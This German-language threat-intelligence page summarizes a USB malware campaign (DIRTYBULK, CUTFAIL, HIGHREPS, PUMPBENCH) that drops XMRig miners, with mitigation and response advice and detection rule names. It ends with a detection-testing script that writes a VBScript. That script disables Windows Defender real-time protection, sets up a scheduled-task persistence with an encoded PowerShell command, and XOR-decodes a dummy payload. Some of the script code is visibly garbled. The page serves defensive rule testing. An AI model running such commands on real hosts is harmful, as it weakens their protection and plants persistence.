DIRTYBULK und Freunde: USB-Malware, die Krypto-Mining-Operationen antreibt
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Der Bericht beschreibt eine USB-gesteuerte Infektionskampagne, die bösartige Verknüpfungsdateien verwendet, um eine mehrstufige Malware-Kette für das Kryptowährungs-Mining auszuliefern. Die initiale Ausführung läd eine DLL namens printui.dll aus einem gefälschten System32-Verzeichnis und übergibt dann an einen Dropper (CUTFAIL), der weiter einen Downloader (HIGHREPS) und einen Backdoor (PUMPBENCH) bereitstellt. Der PUMPBENCH-Backdoor kommuniziert mit einem PostgreSQL-Server, um zusätzliche Payloads abzurufen und startet letztendlich XMRig-Miner. Der Betrieb behält die Persistenz durch Windows Defender-Ausschlüsse, geplante Aufgaben und bösartige Dienste bei.
Analyse
Mandiant-Forscher dekonstruierten die Kill-Chain und hoben vier Haupt-Malware-Familien hervor: DIRTYBULK, CUTFAIL, HIGHREPS und PUMPBENCH. Sie erfassten die Dateinamensmuster der Akteure, den Missbrauch des DLL-Side-Loading von printui.dll, Registrierungsänderungen und zugehörige Netzwerk-Indikatoren. Die Analyse kartierte auch Persistenztechniken, einschließlich geplanter Aufgaben und Dienste, die mit der DCOMLaunch Servicegruppe verbunden sind.
Minderung
Empfohlene Abwehrmaßnahmen umfassen die Blockierung der Ausführung von Verknüpfungsdateien, die von Wechselmedien stammen, die Überwachung von Befehlen, die Windows Defender-Ausschlüsse hinzufügen, das Erkennen von verdächtigen printui.dll-Sideloading-Aktivitäten und das Suchen nach Diensten oder geplanten Aufgaben, die zufällige sechsstellige Namen verwenden. Die Anwendung von Netzwerksteuerungen gegen bekannte bösartige Domains und DoH-Auflöser kann die Kommando-und-Kontroll-Kanäle weiter begrenzen.
Reaktion
Sobald entdeckt, isolieren Sie den betroffenen Host, entfernen Sie die bösartige DLL und verwandte Komponenten, löschen Sie die störende geplante Aufgabe und die Dienst-Einträge, und stellen Sie die Windows Defender-Einstellungen wieder her, indem Sie Ausschlüsse löschen. Führen Sie umfassende forensische Scans durch, um verbleibende Payloads aufzudecken und Verbindungen zur identifizierten PostgreSQL C2-Infrastruktur nachzuverfolgen. Aktualisieren Sie schließlich die Erkennungsinformationen, um die beobachtete Kommandozeilen-Nutzung und das Erstellen von Dateien abzudecken.
Angriffsfluss
Erkennungen
Abnormale Leerzeichenanzahl im Prozessnamen / in der Kommandozeile / im Dateipfad (via cmdline)
Ansehen
LOLBAS WScript / CScript (via process_creation)
Ansehen
Verdächtige Modifikation der Defender-Ausschlüsse (via cmdline)
Ansehen
Mögliche Kopie und Umbenennung von Systemausführungen zur Umgehung (via cmdline)
Ansehen
Deaktivierung der Echtzeitüberwachung von Windows Defender und andere Präferenzänderungen (via cmdline)
Ansehen
Simulation Execution
Voraussetzung: Der Telemetrie- & Basislinien-Vorabflug-Check muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Angreifertechnik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN direkt die identifizierten TTPs reflektieren und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungstechnik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.
-
Angriffserzählung & Befehle:
-
Phase 1 – Bösartiges VBScript auf das kompromittierte USB-Laufwerk (z.B., aufspielen
E:payload.vbs). Das Skript deaktiviert den Echtzeitschutz von Windows Defender mithilfe vonAdd-MpPreference, verschlüsselt eine Nutzlast mit einer XOR-Routine und erstellt eine geplante Aufgabe zur Persistenz. -
Phase 2 – Führen Sie das Skript über
wscript.exeaus, indem Sie den Persistenz-Kommandozeilenbefehl direkt übergeben (um die konjunktive Bedingung der Regel zu erfüllen). -
Phase 3 – Das Skript ruft intern PowerShell auf, um die verschlüsselte Nutzlast auszuführen, was die „Infektionskette“ demonstriert.
-
Phase 4 – Nach der Ausführung beseitigt der Angreifer Artefakte (entfernt das Skript, löscht die geplante Aufgabe).
-
-
Regression Test Script:
# ------------------------------------------------------------ # Regressionstest – Malware-Infektionskettensimulation # ------------------------------------------------------------ $scriptPath = "$env:TEMPpayload.vbs" $taskName = "WinUpdateTask" $xorKey = 0x5A # -- 1. Erstellen Sie eine mit XOR verschlüsselte Dummy-Nutzlast -------------------------------- $plainPayload = "calc.exe" $bytes = [System.Text.Encoding]::Unicode.GetBytes($plainPayload) for ($i = 0; $i -lt $bytes.Length; $i++) { $bytes[$i] = $bytes[$i] -bxor $xorKey } $encrypted = [Convert]::ToBase64String($bytes) # -- 2. Bösartiges VBScript schreiben ------------------------------------------- @" ' Bösartiges VBScript – Infektionskette Set sh = CreateObject("WScript.Shell") ' Deaktivieren des Echtzeitschutzes sh.Run "powershell -Command `"Add-MpPreference -DisableRealtimeMonitoring $true`"", 0, True ' Erstellen einer geplanten Aufgabe zur Persistenz sh.Run "schtasks /Create /SC ONLOGON /TN $taskName /TR `"powershell -EncodedCommand $([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Start-Process `"$env:windirsystem32cmd.exe`" /c echo $encrypted ^| powershell -EncodedCommand'))`"", 0, True ' Entschlüsseln und Ausführen der Nutzlast Dim encData, decData, i encData = "$encrypted" decData = "" For i = 1 To Len(encData) Step 4 ch = ChrW(CInt("&H" & Mid(encData, i, 4)) Xor $xorKey) decData = decData & ch Next sh.Run decData, 0, False "@ | Set-Content -Encoding ASCII $scriptPath # -- 3. Führen Sie das Skript über wscript.exe aus (löst die Regel aus) ------------- wscript.exe "$scriptPath" /B # -- 4. (Optional) Warten Sie ein paar Sekunden, bis die Aufgabe ausgelöst wird ---------------- Start-Sleep -Seconds 10 # ------------------------------------------------------------ # Bereinigung – Entfernen Sie das Skript und die geplante Aufgabe # ------------------------------------------------------------ Remove-Item $scriptPath -Force schtasks /Delete /TN $taskName /F -
Bereinigungskommandos:
# Entfernen Sie verbleibende geplante Aufgaben (falls noch vorhanden) schtasks /Delete /TN "WinUpdateTask" /F # Entfernen Sie verbleibende Skriptdateien Remove-Item "$env:TEMPpayload.vbs" -ErrorAction SilentlyContinue # Reaktivieren Sie den Echtzeitschutz powershell -Command "Add-MpPreference -DisableRealtimeMonitoring $false"